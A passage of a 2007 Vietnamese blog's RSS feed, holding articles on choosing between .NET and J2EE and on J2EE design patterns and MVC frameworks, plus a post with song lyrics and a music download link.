của mình từ trước đến nay). Hiện tại cũng chưa có thông tin nào cho thấy sự hỗ trợ của .NET đối với các hệ điều hành khác. Tuy nhiên ưu điểm của .NET là hỗ trợ phát triển ứng dụng đa ngôn ngữ - điều mà J2EE không hỗ trợ. Bên cạnh đó việc áp dụng kiến trúc .NET còn có một số thuận lợi sau: chi phí phát triển thấp, chi phí đầu tư hệ thống ban đầu thấp (so sánh với chi phí cho các hệ thống Unix).&lt;br /&gt;&lt;br /&gt;Việc lựa chọn kiến trúc nào cho việc phát triển ứng dụng phụ thuộc vào nhiểu yếu tố: phạm vi bài toán, môi trường triển khai, chi phí phát triển, bảo trì. Ngoài ra cũng cần xem xét đến khả nǎng nắm bắt sử dụng công nghệ của đội ngũ phát triển.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Chu Lâm Thái - Quan Tri Mang&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7789962382819614937?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/CTBqUAER_SI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/CTBqUAER_SI/kin-trc-net-trong-m-hnh-ng-dng-thng-mi.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/kin-trc-net-trong-m-hnh-ng-dng-thng-mi.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-7911826483362066942</guid><pubDate>Tue, 02 Oct 2007 14:22:00 +0000</pubDate><atom:updated>2007-10-02T21:22:22.821+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Software Engineer</category><title>Xây dựng khung ứng dụng J2EE với các mẫu thiết kế trong Java</title><description>Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun "áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML".&lt;br /&gt;&lt;br /&gt;Ư'ng dụng Web sử dụng J2EE (J2EE web application)&lt;br /&gt;&lt;br /&gt;Web application framework&lt;br /&gt;&lt;br /&gt;Công nghệ Internet đã và đang làm thay đổi hoàn toàn xu thế kinh doanh truyền thống, nó tạo ra một ?thị trường ảo không biên giới? trên Internet cho phép mọi khách hàng có thể duyệt và mua hàng ngày trên bàn làm việc của họ, đặc biệt mọi giao dịch này đều xảy ra trong thời gian thực. Các ứng dụng phục vụ cho mục đích này được gọi là ứng dụng thương mại điện tử (e-commerce application), đa số các trường hợp người dùng đều sử dụng ứng dụng này trên nền Web.&lt;br /&gt;&lt;br /&gt;Mặc dù có nhiều cách cũng như các ngôn ngữ lập trình khác nhau để xây dựng một ứng dụng Web, mỗi công ty đều có một hướng phát triển riêng, tuy nhiên họ cũng đang cố gắng tìm ra những phương án và mô hình có thể sử dụng lại cho các dự án tiếp theo: được coi như là một khung ứng dụng cho các ứng dụng trên Web (web application framework).&lt;br /&gt;&lt;br /&gt;Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun ?áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML?.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Luồng dữ liệu trên web và cấu trúc đa tầng với J2EE&lt;br /&gt;&lt;br /&gt;Chắc chắn rằng mỗi dự án đều có một phương thức xử lý (bussiness layer) riêng biệt. Tuy nhiên để xây dựng được một framework chung cho nhiều dự án có yêu cầu khác nhau, chúng ta phải có gắng tìm ra được những điểm chung nhất của các chúng. ở đây tôi đưa ra một mô hình luồng dữ liệu trong cấu trúc đa tầng mà các dự án trên web thường sử dụng.&lt;br /&gt;&lt;br /&gt;Với mô hình phân tầng này, một yêu cầu (request) từ phía client được phục vụ tại tầng xử lý J2EE chứ không phải tầng Web. Tuy nhiên để đảm bảo cho mô hình hoạt động hiệu quả hơn và cung cấp cho tầng J2EE một khả nǎng chuẩn hoá, thì đối tượng request được qua một vài thao tác tại tầng Web gọi là quá trình tiền xử lý. Các thao tác cơ bản như: trích lọc thông tin từ request, kiểm tra thông tin và xây dựng lại thông tin từ đối tượng request thành một đối tượng chuẩn Java (như Javabeans hoặc một vǎn bản XML).&lt;br /&gt;&lt;br /&gt;Ngoài ra, bộ ánh xạ trong các module điều khiển của mô hình cho phép tạo ra một ứng dụng có khả nǎng cấu hình và mở rộng được (configurabitlity và extensibility). Với từng request đến, bộ điều khiển sẽ tìm kiếm ?đối tượng quản trị? (request handler) tương ứng để thực thi cho request này, như vậy khi cần thêm chức nǎng cho hệ thống thực chất là cấu hình thêm cho bộ ánh xạ này. Bộ ánh xạ có vai trò nhưng một bảng dữ liệu đơn giản nên file XML là sự lựa chọn thích hợp nhất.&lt;br /&gt;&lt;br /&gt;Java hay Microsoft.NET&lt;br /&gt;&lt;br /&gt;Tại sao lại Java?&lt;br /&gt;&lt;br /&gt;Chúng ta sẽ phải làm gì trong cuộc chiến giữa Sun và Microsoft, cụ thể hơn giữa Java và .NET? Bạn sẽ lựa chọn cái gì để triển khai dự án của mình trong một loạt các hệ điều hành và các môi trường khác nhau như Windows, Linux, AS/400, Oracle? Hiện tại, IBM và Oracle đang đứng về phía Sun, nếu bạn muốn sản phẩm của bạn hỗ trợ tất cả các platform hiện nay kể cả Windows thì Java có thể là một sự lựa chọn rất hợp lý.&lt;br /&gt;&lt;br /&gt;Với Microsoft.NET, sản phẩm của bạn sẽ chỉ chạy được trên nền Windows, bù lại thời gian phát triển dự án bằng .NET có thể sẽ nhanh hơn. Tuy nhiên trong những ứng dụng lớn thì về mặt tốc độ cũng như mức độ ổn định cũng không hẳn là đã vượt trội so với Java.&lt;br /&gt;&lt;br /&gt;Các ngôn ngữ khác&lt;br /&gt;&lt;br /&gt;Các phương án truyền thống còn lại như CGI (C, Perl), PHP hay ASP3.0? cũng có thể là sự lựa chọn cho các dự án nhỏ, tuy nhiên chúng khó có cơ hội cạnh tranh được với Java và .NET trong tương lai.&lt;br /&gt;&lt;br /&gt;Các phương án thiết kế&lt;br /&gt;&lt;br /&gt;Mẫu thiết kế (Design pattern)&lt;br /&gt;&lt;br /&gt;Bạn định bắt đầu từ những bản đặc tả (specification) của các công nghệ ư? Muộn rồi, chúng ta không nên cố xây dựng lại cái bánh xe trong khi một loạt các công ty và nhóm phần mềm đã tiêu tốn nhiều thời gian công sức để tìm ra những phương án tối ưu cho từng vấn đề họ đã gặp phải trong quá trình phát triển các dự án. Bắt đầu từ đầu những nǎm 90 thuật ngữ design patterns chính thức ra đời nhằm chỉ các giải pháp giải quyết các vấn đề thường gặp trong quá trình xây dựng phần mềm. Design pattern không phải là những khái niệm lý thuyết mà được đúc rút ra từ những kinh nghiệm thực tế của các chuyên gia phần mềm trên thế giới.&lt;br /&gt;&lt;br /&gt;Các mẫu thiết kế cho J2EE mà một phần được trình bày trong quyển ?J2EE Design Pattern? được kiểm nghiệm thực tế rất thành công trong việc giải quyết các vấn đề nảy sinh trong quá trình phát triển ứng dụng J2EE. Ví dụ với tầng Web của ứng dụng J2EE kinh điển, nếu chúng ta bắt tay từ đặc tả kỹ thuật (specification) của JSP và Servlet chúng cho phép xây dựng được những trang web động riêng biệt rất tốt nhưng lại hỗ trợ rất ít trong việc quản lý luồng dữ liệu giữa các trang với nhau, đặc biệt chúng không tách rời 2 tầng hiển thị (presentation) và tầng xử lý (bussiness).&lt;br /&gt;&lt;br /&gt;Mô hình MVC (Model- View-Control)&lt;br /&gt;&lt;br /&gt;MVC là một mô hình thiết kế mang tính tổng thể để giải quyết vấn đề trên, nó được tạo ra bởi Krasner và Pope nǎm 1988 cho Smalltalk, hiện tại được IBM và Apache ứng dụng trong các dự án của họ rất thành công. Đây là một giải pháp cho phép xây dựng nên các ứng dụng phân tầng một cách rất hiệu quả bằng cách tạo ra những phương thức quản lý từng tầng một cách riêng rẽ như mô hình ở hình 2. Trong J2EE, thì MVC cũng được xây dựng dựa trên những tính nǎng mạnh của công nghệ JSP và Servlet&lt;br /&gt;&lt;br /&gt;Khung ứng dụng (application framework)&lt;br /&gt;&lt;br /&gt;Không phủ nhận được điểm mạnh của các mẫu thiết kế, vấn đề là ở chỗ chúng chỉ giải quyết những vấn đề riêng rẽ, làm sao để sử dụng và kết hợp chúng lại trong các dự án J2EE. Câu hỏi này đã nảy sinh và hiện nay một thuật ngữ mới chỉ một mẫu thiết kế tổng quát hơn cho từng ứng dụng lĩnh vực cụ thể, đó là framework. Các dự án thực tế để tạo ra các framework này cũng đang được hoàn thiện. Như vậy quá trình phát triển về mặt thiết kế dự án sử dụng công nghệ J2EE có thể được mô tả.&lt;br /&gt;&lt;br /&gt;Chọn lựa một framework tốt giúp bạn giảm thiểu được thời gian và nâng cao chất lượng của sản phẩm. Nó giúp người lập trình chỉ cần chú tâm vào việc xây dựng mức trên thuộc tầng xử lý của ứng dụng thay vì phải làm việc ở mức thấp với từng dòng lệnh một cách nhàm chán với những sai xót cá nhân của người lập trình.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;Nguyễn Tuấn Khang - Quan Tri Mang&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7911826483362066942?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/YVl2sXNlaMk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/YVl2sXNlaMk/xy-dng-khung-ng-dng-j2ee-vi-cc-mu-thit.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/xy-dng-khung-ng-dng-j2ee-vi-cc-mu-thit.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3985733908143068380</guid><pubDate>Sun, 30 Sep 2007 03:18:00 +0000</pubDate><atom:updated>2007-09-30T10:18:16.762+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music</category><title>Let The Music Heal Your Soul - Bravo All Stars</title><description>&lt;div style="text-align: center;"&gt;&lt;embed autostart="false" loop="false" src="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma" height="40" width="300"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a href="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma"&gt;&lt;span style="font-weight: bold;"&gt;Download Here&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oh if someone writes a song with a&lt;br /&gt;simple Rhyme (Touch)&lt;br /&gt;Just a song where is feeling show (`N Sync)&lt;br /&gt;And if someone feels the same about the&lt;br /&gt;simple song (Moffats)&lt;br /&gt;oh sometimes you can hear them sing (Gil)&lt;br /&gt;music gives you Happiness and Sadness (Sqeezer)&lt;br /&gt;But it also, also heals your soul (Nick-BsB)&lt;br /&gt;&lt;br /&gt;Chorus&lt;br /&gt;Let the music heal your soul&lt;br /&gt;let the music take control&lt;br /&gt;let the music give you the power to&lt;br /&gt;move any mountain&lt;br /&gt;&lt;br /&gt;If someone plays piano with some simple&lt;br /&gt;chords (Touch¨¦)&lt;br /&gt;So melodic and endearing, too (Aaron)&lt;br /&gt;Oh if someone plays guitar with the old&lt;br /&gt;piano (Brian-BsB)&lt;br /&gt;And maybe you can hear them sing (The Boyz)&lt;br /&gt;Music gives you Happiness and Sadness (Nick-BsB)&lt;br /&gt;But it also (`N Sync)&lt;br /&gt;it also heals your soul (Blumchen)&lt;br /&gt;&lt;br /&gt;Chorus&lt;br /&gt;&lt;br /&gt;(Brian-BsB)&lt;br /&gt;Let the music heal your soul&lt;br /&gt;let the music take control&lt;br /&gt;let the music heal your soul&lt;br /&gt;&lt;br /&gt;Chorus 4x &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3985733908143068380?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/F52taPW6mqM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/F52taPW6mqM/let-music-heal-your-soul-bravo-all.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma" length="3857979" type="application/octet-stream" /><media:content url="http://levohuudang.googlepages.com/BravoAllStarsLetTheMusicHealYourSoul.wma" fileSize="3857979" type="application/octet-stream" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Download Here Oh if someone writes a song with a simple Rhyme (Touch) Just a song where is feeling show (`N Sync) And if someone feels the same about the simple song (Moffats) oh sometimes you can hear them sing (Gil) music gives you Happiness and Sadnes</itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> Download Here Oh if someone writes a song with a simple Rhyme (Touch) Just a song where is feeling show (`N Sync) And if someone feels the same about the simple song (Moffats) oh sometimes you can hear them sing (Gil) music gives you Happiness and Sadness (Sqeezer) But it also, also heals your soul (Nick-BsB) Chorus Let the music heal your soul let the music take control let the music give you the power to move any mountain If someone plays piano with some simple chords (Touch¨¦) So melodic and endearing, too (Aaron) Oh if someone plays guitar with the old piano (Brian-BsB) And maybe you can hear them sing (The Boyz) Music gives you Happiness and Sadness (Nick-BsB) But it also (`N Sync) it also heals your soul (Blumchen) Chorus (Brian-BsB) Let the music heal your soul let the music take control let the music heal your soul Chorus 4x </itunes:summary><itunes:keywords>Music</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2007/09/let-music-heal-your-soul-bravo-all.html</feedburner:origLink></item><language>en-us</language><media:rating>nonadult</media:rating></channel></rss>
